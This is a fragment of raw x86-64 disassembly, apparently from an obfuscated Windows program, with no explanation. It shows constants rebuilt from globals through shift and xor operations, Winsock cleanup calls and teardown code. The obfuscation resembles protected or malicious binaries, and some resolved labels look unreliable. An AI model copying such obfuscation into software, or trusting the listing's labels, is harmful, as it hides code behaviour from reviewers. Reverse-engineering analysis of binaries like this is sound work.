jbe 0x140018924
mov rdx, qword [rdi]
mov rcx, qword [0x1402989e8]
mov r8, qword [0x1402989f0]
shrd r8, rcx, 2
movabs rcx, 0xf51fed28cc5feeb
xor rcx, r8
add rcx, rax
mov r8, qword [0x1402989f8]
mov r9, qword [0x140298a00]
shrd r9, r8, 4
movabs r8, 0x47f93b13a6bf7d97
xor r8, r9
cmp rcx, r8
jbe 0x14001890e
mov rcx, qword [rdx - 8]
mov r8, qword [0x140298a08]
mov r9, qword [0x140298a10]
shrd r9, r8, 0x20
movabs r8, 0x6db323dbdb4797a4
xor r8, r9
add r8, rdx
sub r8, rcx
mov rdx, qword [0x140298a18]
mov r9, qword [0x140298a20]
shrd r9, rdx, 3
movabs rdx, 0xa79e59e56fb05d0c
xor rdx, r9
cmp r8, rdx
jae 0x140018ab4
mov rdx, qword [0x140298a28]
mov r8, qword [0x140298a30]
shrd r8, rdx, 0x2a
movabs rdx, 0x318c181d1ba276ff
xor rdx, r8
add rax, rdx
jmp 0x140018914
mov rax, rcx
mov rcx, rdx
mov rdx, rax
sub rsp, 0x20
call fcn.1400d883c
add rsp, 0x20
movabs rax, 0x3ac6a3bf32e452fb
imul rax, qword [0x140298a38]
movabs rcx, 0x69fedd5c502d618b
imul rcx, qword [0x140298a40]
add rcx, rax
movabs rax, 0x2db6feb0cdec244b
add rax, rcx
mov rcx, qword [0x140298a48]
mov rdx, qword [0x140298a50]
shrd rdx, rcx, 0x10
mov qword [rdi + 0x10], rax
movabs rax, 0x17d0db80d072813f
xor rax, rdx
mov qword [rdi + 0x18], rax
movzx eax, byte [0x140298a58]
mov cl, byte [0x140298a59]
imul eax, eax, 0x31
shl cl, 6
sub al, cl
add al, 0xb4
mov byte [rdi], al
mov rax, qword [rbp + 0x40]
mov rax, qword [rax]
mov rsi, qword [rax + 0x30]
test rsi, rsi
je 0x1400189c8
mov rax, qword [rsi]
nop
sub rsp, 0x20
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_htonl]
add rsp, 0x20
nop
mov rax, qword [rsi + 0x20]
mov rsi, rax
test rax, rax
jne 0x1400189a9
mov eax, 0xffffffff
lock xadd dword [0x1402bec30], eax
mov ecx, dword [0x140298a5c]
mov edx, dword [0x140298a60]
shrd edx, ecx, 0x13
xor edx, 0x28720f21
cmp eax, edx
jne 0x1400189fd
sub rsp, 0x20
call qword [sym.imp.WS2_32.dll_WSACleanup]
add rsp, 0x20
mov rax, qword [rbp + 0x40]
mov rsi, qword [rax]
mov rax, qword [rsi + 0x30]
test rax, rax
je 0x140018a81
mov rsi, rax
mov rax, qword [rsi]
nop
sub rsp, 0x20
mov rcx, rsi
call qword [rax + reloc.WS2_32.dll_htonl]
add rsp, 0x20
nop
mov rax, qword [rsi + 0x20]
mov rsi, rax
test rax, rax
jne 0x140018a10
mov rax, qword [rbp + 0x40]
mov rsi, qword [rax]
mov rcx, qword [rsi + 0x30]
test rcx, rcx
je 0x140018a81
mov rax, qword [rcx]
imul edx, dword [0x140298a64], 0x542bcbb7
imul r8d, dword [0x140298a68], 0xaa1c32fa
mov rdi, qword [rcx + 0x20]
add edx, r8d
add edx, 0x34f9806c
sub rsp, 0x20
call qword [rax]
add rsp, 0x20
mov qword [rsi + 0x30], rdi
mov rcx, rdi
test rdi, rdi
jne 0x140018a3f
mov rax, qword [rbp + 0x40]
mov rsi, qword [rax]
test rsi, rsi
je 0x140018a9f
sub rsp, 0x20
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov rcx, rsi
call fcn.1400d8834
add rsp, 0x20
movups xmm6, xmmword [rbp + 0x60]
lea rsp, [rbp + 0x78]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
sub rsp, 0x20
call fcn.1401aec6c
mov eax, dword [0x1402bcbf8]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x2c4], 1
sub rsp, 0x20
lea rcx, [0x14002ab70]
call fcn.1400d8bb4
add rsp, 0x20
jmp 0x1400175b5
mov al, byte [0x1402c0458]
inc al
mov ecx, dword [0x1402bcbf8]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
and al, 1
mov byte [rcx + 0x2f0], al
sub rsp, 0x20
lea rcx, [0x14002adde]
call fcn.1400d8bb4
add rsp, 0x20
jmp 0x140017a08
nop
sub rsp, 0x20
call fcn.14000318f
add rsp, 0x20
nop
nop
sub rsp, 0x20
call fcn.14000318f
add rsp, 0x20
nop
int3